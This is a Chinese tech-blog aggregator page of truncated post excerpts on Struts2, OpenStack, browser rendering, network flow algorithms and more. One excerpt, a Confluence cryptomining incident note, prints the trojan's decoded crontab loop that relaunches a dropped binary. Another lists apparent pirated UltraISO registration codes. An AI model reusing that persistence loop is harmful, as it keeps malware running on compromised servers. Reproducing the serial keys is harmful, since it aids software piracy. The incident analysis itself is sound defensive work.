Struts2的入门案例(Struts2的配置和页面跳转,以及对页面输入的信息进行判断)

Struts2配置: <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-ap
分类: 其他 发布时间: 12-30 21:01 阅读次数: 0

小白萌新

小白萌新
分类: 其他 发布时间: 12-30 21:01 阅读次数: 0

Openstack Queen版本之guestfish修改centos7云镜像解决ssh无法连接VM实例

原因 用VirtualBox 以及Queen版本搭建 openstack, 创建了实例,用ssh怎么搞都不能够免密登陆进入创建的虚拟机,虽然可以ping通,所以打算尝试一下直接修改镜像ssh密码。 1.安装guestfish apt-get install libguestfs-tools -y 2.打开镜像(前面一篇博客有提到下载和转换) guestfish --rw -a CentOS-7-x86_64-GenericCloud-1907.qcow2 3.执行修改 ><fs> run ><
分类: 其他 发布时间: 12-30 21:00 阅读次数: 0

宏观视角下的浏览器:06 | 渲染流程(下):HTML、CSS和JavaScript,是如何变成页面的?

前言:该篇说明:请见 说明 —— 浏览器工作原理与实践 目录   在上篇文章中,我们介绍了渲染流水线中的 DOM 生产、样式计算和布局三个阶段,那今天我们接着讲解渲染流水线后面的阶段。   这里还是先简单回顾下上节前三个阶段的主要内容:在 HTML 页面内容被提交给渲染引擎之后,渲染引擎首先将 HTML 解析为浏览器可以理解的 DOM;然后根据 CSS 样式表,计算出 DOM 树所有节点的样式;接着又计算每个元素的几何坐标位置,并将这些信息保存在布局树中。   分层   现在我们有了布局树,而
分类: 其他 发布时间: 12-30 21:00 阅读次数: 0

[CrackMe]一个关于读取文件并进行运算判断的CrackMe

[CrackMe]目录索引 该程序下载地址: 链接:https://pan.baidu.com/s/1Wh033pBJObAPDtK4x-ZBYg 提取码:kjq3 复制这段内容后打开百度网盘手机App,操作更方便哦 [CrackMe]一个关于读取文件并进行运算的CrackMe 1. 首先,我们先打开该文件,什么都没输入,就显示注册错误,一脸懵逼...    2. 之后,我们使用OD打开该程序,跳转到该界面暂停,然后通过栈回溯到程序的执行主流程。    3. 查看上面,似乎读取一个名为 "Ke
分类: 其他 发布时间: 12-30 21:00 阅读次数: 0

confluence占用cpu100%,挖矿木马

1发现cpu占用很高,confluence用户启动了很多进程 2查看定时任务 crontab -l -u confluence 解析处理base64 ( while : ; do sleep 5 ; if ! kill -0 26154 >/dev/null 2>&1 ; then /opt/atlassian/confluence/temp/ybmilf >/dev/null 2>&1 ; fi ; done ) & pid=$! ; (sleep 10 && kill -9 $pid) &
分类: 其他 发布时间: 12-30 21:00 阅读次数: 0

Other UltraISO 软碟通注册码

{ 用户名:王涛 注册码:7C81-1689-4046-626F 用户名:累累 注册码:4EE9-A156-B015-A70E UltraISO v9.6.0.3000或者9.5.5.2960多国语言版激活KEY Registration name: Home Registration code: 4BA9-0D54-214A-C938 用户名:Steve Olson 注册码:2BEC-ED28-82BB-95D7 用户名:Christopher Wydler 注册码:424F-ED23-7C
分类: 其他 发布时间: 12-30 21:00 阅读次数: 0

mysql数据库配置wait_timeout和interactive_timeout总结

(1)interactive_timeout: 参数含义:服务器关闭交互式连接前等待活动的秒数。交互式客户端定义为在mysql_real_connect()中使用CLIENT_INTERACTIVE选项的客户端。 参数默认值:28800秒(8小时) (2)wait_timeout: 参数含义:服务器关闭非交互连接之前等待活动的秒数。 在线程启动时,根据全局wait_timeout值或全局interactive_timeout值初始化会话wait_timeout值,取决于客户端类型(由mysql
分类: 其他 发布时间: 12-30 21:00 阅读次数: 0

Linux学习笔记:磁盘分区

本文更新于2019-12-30。操作系统为Debian 8.9 (jessie)。 以下假设新磁盘为/dev/sdb,要创建一个分区/dev/sdb1,文件系统类型为xfs。请根据实际情况,自行选择。 使用parted进行分区 安装parted wget http://mirrors.ustc.edu.cn/debian/pool/main/p/parted/libparted2_3.2-7_amd64.deb wget http://mirrors.ustc.edu.cn/debian/po
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

adworld MISC002 | Linux的挂载文件系统的运用

EXT3是第三代扩展文件系统(英语:Third extended filesystem,缩写为ext3),是一个日志文件系统,常用于Linux操作系统。 Plan 1: 直接将附件使用mount命令挂载到Linux系统中 关于mount命令 mount [文件] mnt cd /mnt/O7avZhikgKgbF find | grep 'flag' cat flag.txt 在查看flag.txt之后发现一个由字母、数字和等于号组成的字符串,怀疑是由Base64进行编码的信息。 拉到Bas
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

Luogu P1646 [国家集训队]happiness

在二元关系中,去除一个割,剩下的部分还是一个割。 所以这道题我们可以转化为 总权值 - 最小割 来解决最大化的问题。 具体地,我们设 \(A_x\) 表示 \(x\) 选文科的贡献,设 \(B_x\) 表示 \(x\) 选理科的贡献,\(A_{x,y}\) 表示同时选文科的贡献,\(B_{x,y}\) 表示同时选理科的贡献;并且设割哪条边代表不选哪一科: 总权值:\(a+b+c+d+e+f=A_x+B_x+A_y+B_y+A_{x,y}+B_{x,y}\) 同时选理:\(a+b=A_x+A_y
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

模块 time datetime 时间获取和处理

模块_time 和时间有关系的我们就要用到时间模块。在使用模块之前,应该首先导入这个模块。 1 延时 time.sleep(secs) (线程)推迟指定的时间运行。单位为秒。 ## 2 获取当前时间戳time.time() 获取当前时间戳 3 表示时间的三种方式 在Python中,通常有这三种方式来表示时间:时间戳、元组(struct_time)、格式化的时间字符串: (1)时间戳(timestamp) : 通常来说,时间戳表示的是从1970年1月1日00:00:00开始按秒计算的偏移量。我们
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

LOJ #115. 无源汇有上下界可行流

原文 模型:一个网络,求出一个流,使得每条边的流量必须 \(\geq L_i\) 且 \(\leq Hi\), 每个点必须满足 总流入量 = 总流出量 (流量守恒)(这个流的特点是循环往复,无始无终) 可行流算法的核心是将一个不满足流量守恒的初始流调整成满足流量守恒的流 如果存在一个可行流,那么一定满足每条边的流量都大于等于流量的下限。 因此我们可以令每条边的流量等于流量下限,得到一个初始流,然后建出这个流的残量网络。 (即:每条边的流量等于这条边的流量上限与流量下限之差) 这个初始流不一定满
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

BZOJ 3091: 城市旅行 LCT

这个合并还是相当复杂的. code: #include <cstdio> #include <cstring> #include <string> #include <map> #include <algorithm> #define N 50005 #define ll long long #define siz size #define ts tag #define lson s[x].ch[0] #define rson s[x].ch[1]
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

Python:通过pywin32模块批量将rtf或docx另存为doc格式

Python 中 pywin32 模块可以调用 Windows API,可以在 windows 系统下打开 word excel 等应用,然后编辑保存另存为等操作,可以用来批量编辑文件。 环境是 Python3,先安装 pywin32 包:pip install pywin32,然后导入 pywin32 包中的 win32com 模块。 例如现在文件夹 D:\develop\temp\original 有如下文件: 通过以下代码,将其转成成 doc 并保存到文件夹 D:\develop\tem
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

线性基专题总结

莫(tui)名(wan)其(ti)妙(jie)又弄完了一个专题? 刚开始以为这个知识点出题都是板子来着,后来做题才发现我太天真了啊 先列知识点吧 1.性质 (1). 原序列异或能得到的所有数都可以由线性基中的一些数异或得到 (2). 线性基里面的任意一些数异或起来都不能得到 \(0\) (3). 线性基里面的数的个数唯一,并且在保持性质一的前提下,数的个数是最少的 (4). 若线性基中有k个元素,则原序列异或能得到的数一共有 \(2^k\) 种,每种有 \(2^{n-k}\) 个 (5). 线
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

LOJ #116. 有源汇有上下界最大流

我们在源点 \(S\) 和汇点 \(T\) 之间连一条上界为 \(0\) 下界为 \(Inf\) 的边,转化为无源汇上下界可行流,跑出超级源 \(S'\) 与超级汇 \(T'\) 之间的最大流 \(F\)。 然后在残量网络上跑 \((S,T)\) 的最大流 \(f\)(尽量填充剩余流量)。 最终答案即为 \(F+f\) 。 #include<iostream> #include<cstdio> #include<cstring> #include<queue> #define R regist
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

uniapp安卓ios百度人脸识别、活体检测、人脸采集APP原生插件

插件亮点 1 支持安卓平板(横竖屏均可),苹果的iPad。2 颜色图片均可更换。 特别提醒 此插件包含 android 端和 iOS 端,考虑到有些同学只做其中一个端的 app,特意分为 2 个插件,减小安装包体积。android 端请点击这里。iOS 端请点击这里。 1、前言 最近在使用 uniapp 开发项目,有刷脸实名认证的需求,最终使用百度人脸识别实现了需求。自己做了个 APP 原生插件,给大家介绍下用法。本插件主要功能是通过动作检测活体,采集人脸返回。其他功能需要自主实现,如刷脸登录
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

VS2019 设置显示”高级保存选项“

目录 #设置具体步骤 #“高级保存选项”的使用 VS2019安装完成后,在“文件”菜单下是不显示“高级保存选项”的,那如何设置,才能显示出来呢?下面是具体步骤。 #设置具体步骤 1、点击“工具”--“自定义”选项 2、点击“命令”标签 “菜单栏”选择“文件”; 3、点击“添加命令”按钮 左侧“类别”,选择“文件”,右侧即可找到“高级保存选项”; 点击“确定”按钮,即可在“自定义”弹窗的“预览”窗口中看到“高级保存选项”,还可以调节其在才当中的位置; 4、点击“文件”菜单,即可看到刚才添加的“高
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0

软件测试计划

1.1 编写软件测试计划(5W1H) 1.1.1 测试计划 软件测试的目标:是尽可能早地找出软件缺陷,并保证其得以修复。 关于测试计划 概念:规定测试活动的范围、方法、资源和进度;明确正在测试的项目、要测试的特性、要执行的测试任务、每个任务的负责人,以及与计划相关的风险。 软件测试计划( software test plan )是软件测试员与产品开发小组交流意图的主要方式。 测试计划只是创建详细计划过程的一个副产品,重要的是计划过程,而不是产生的结 果文档。测试计划过程的最终目标是交流(而不是
分类: 其他 发布时间: 12-30 20:50 阅读次数: 0